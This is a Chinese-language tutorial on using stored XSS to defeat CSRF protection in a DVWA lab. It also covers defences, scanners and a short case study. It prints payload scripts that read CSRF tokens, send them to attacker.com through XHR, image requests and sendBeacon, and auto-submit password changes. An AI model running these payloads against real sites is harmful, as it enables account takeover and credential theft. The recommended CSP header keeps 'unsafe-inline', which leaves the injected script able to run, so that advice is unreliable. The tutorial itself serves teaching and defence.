
CSRF与XSS组合攻击的深度解析如何利用存储型XSS绕过CSRF防御机制1. 漏洞原理与攻击场景剖析Web安全领域中CSRF跨站请求伪造和XSS跨站脚本攻击是两种常见的攻击方式。当它们组合使用时会产生更严重的威胁。CSRF攻击利用用户已认证的身份在用户不知情的情况下执行非预期的操作。而XSS攻击则允许攻击者在受害者的浏览器中执行恶意脚本。传统CSRF防御主要依赖以下机制CSRF Token验证SameSite Cookie属性请求来源检查Referer Header然而当网站同时存在XSS漏洞时这些防御措施可能被绕过。特别是存储型XSS因为其恶意脚本会被持久化保存在服务器上影响所有访问相关页面的用户。攻击场景示例一个论坛存在存储型XSS漏洞允许用户提交包含脚本的内容该论坛的敏感操作如修改密码需要CSRF Token攻击者提交包含恶意脚本的内容脚本会窃取用户的CSRF Token当管理员查看被污染的内容时脚本自动执行并完成攻击2. 靶场环境搭建与漏洞复现为了演示这种组合攻击我们使用DVWADamn Vulnerable Web Application作为测试环境。以下是搭建步骤# 下载DVWA git clone https://github.com/digininja/DVWA.git # 配置Docker环境 docker-compose up -d # 访问靶场 http://localhost:8080靶场关键配置参数配置项值说明安全等级Low设置为最低安全级别PHP版本7.4确保支持必要功能数据库MySQL默认配置在DVWA中我们需要完成以下准备工作登录后台admin/password设置安全级别为Low激活XSSStored和CSRF两个漏洞模块3. 恶意脚本构造与CSRF Token窃取存储型XSS的核心在于构造能够窃取CSRF Token的恶意脚本。以下是典型的攻击脚本// 获取页面中的CSRF Token var token document.querySelector(input[nametoken]).value; // 将Token发送到攻击者控制的服务器 var xhr new XMLHttpRequest(); xhr.open(POST, http://attacker.com/steal, true); xhr.setRequestHeader(Content-type, application/x-www-form-urlencoded); xhr.send(token token); // 可选立即发起CSRF攻击 var form document.createElement(form); form.method POST; form.action /vulnerabilities/csrf/; form.innerHTML input typehidden namepassword_new valuehacked input typehidden namepassword_conf valuehacked input typehidden nameChange valueChange input typehidden nametoken value token ; document.body.appendChild(form); form.submit();这个脚本实现了三个关键功能从页面中提取CSRF Token将Token发送到攻击者服务器立即使用该Token发起密码修改请求4. 组合攻击实战演示完整的攻击流程分为以下几个步骤4.1 注入恶意脚本访问DVWA的XSSStored页面在留言板中输入以下内容script /* 上述窃取Token的脚本 */ /script提交内容脚本将被存储在服务器4.2 触发攻击当管理员或其他用户查看留言板时恶意脚本自动执行CSRF Token被窃取并发送到攻击者服务器密码修改请求被自动提交关键请求参数分析参数名值说明password_newhacked新密码password_confhacked密码确认ChangeChange触发操作token[有效Token]绕过CSRF检查4.3 攻击结果验证攻击成功后可以观察到目标用户的密码被修改为hacked攻击者服务器收到CSRF Token攻击者可以使用该Token发起其他敏感操作5. 高级攻击技巧与变种5.1 基于DOM的Token窃取有些应用将CSRF Token存储在JavaScript变量或meta标签中可以通过以下方式获取// 从meta标签获取 var token document.querySelector(meta[namecsrf-token]).content; // 从全局变量获取 var token window.appConfig.csrfToken;5.2 异步Token收集为避免引起注意可以采用更隐蔽的收集方式// 使用Image对象发送数据 new Image().src http://attacker.com/steal?token token; // 使用navigator.sendBeacon navigator.sendBeacon(http://attacker.com/steal, token token);5.3 针对AJAX请求的攻击现代应用常用AJAX提交表单攻击脚本需要相应调整fetch(/api/change-password, { method: POST, headers: { Content-Type: application/json, X-CSRF-Token: token }, body: JSON.stringify({ newPassword: hacked, confirmPassword: hacked }) });6. 防御措施与最佳实践针对这种组合攻击需要多层防御策略6.1 前端防御措施实施严格的CSP内容安全策略Content-Security-Policy: default-src self; script-src self unsafe-inline使用HttpOnly和Secure标记的Cookie对用户输入进行严格的过滤和转义6.2 后端防御措施为不同的功能使用不同的CSRF Token验证Referer头部实现同源策略检查对敏感操作要求二次认证6.3 架构层面的防护防护层措施有效性网络层WAF防护中等应用层输入验证/输出编码高会话层短时效Token高用户层安全意识培训长期7. 漏洞检测与自动化工具推荐使用以下工具检测此类漏洞Burp Suite使用CSRF PoC生成器测试XSS注入点检查Token处理逻辑OWASP ZAP# 启动自动化扫描 zap-cli quick-scan -s xss,csrf http://target.com自定义检测脚本import requests from bs4 import BeautifulSoup def check_csrf_protection(url): session requests.Session() response session.get(url) soup BeautifulSoup(response.text, html.parser) token soup.find(input, {name: token}) return bool(token)在实际测试中需要特别关注Token是否随机且唯一Token是否与用户会话绑定Token是否在多个请求间重复使用是否存在XSS漏洞可能泄露Token8. 真实案例分析某知名电商平台曾遭遇此类组合攻击攻击流程如下攻击者发现商品评论处存在存储型XSS注入恶意脚本窃取用户的CSRF Token使用Token发起转账请求攻击影响超过5000个账户平台最终采取的修复措施包括引入每请求TokenPer-Request Token实施严格的CSP策略对所有用户输入实施HTML实体编码增加敏感操作的二次验证这个案例凸显了组合攻击的严重性也展示了综合防御策略的有效性。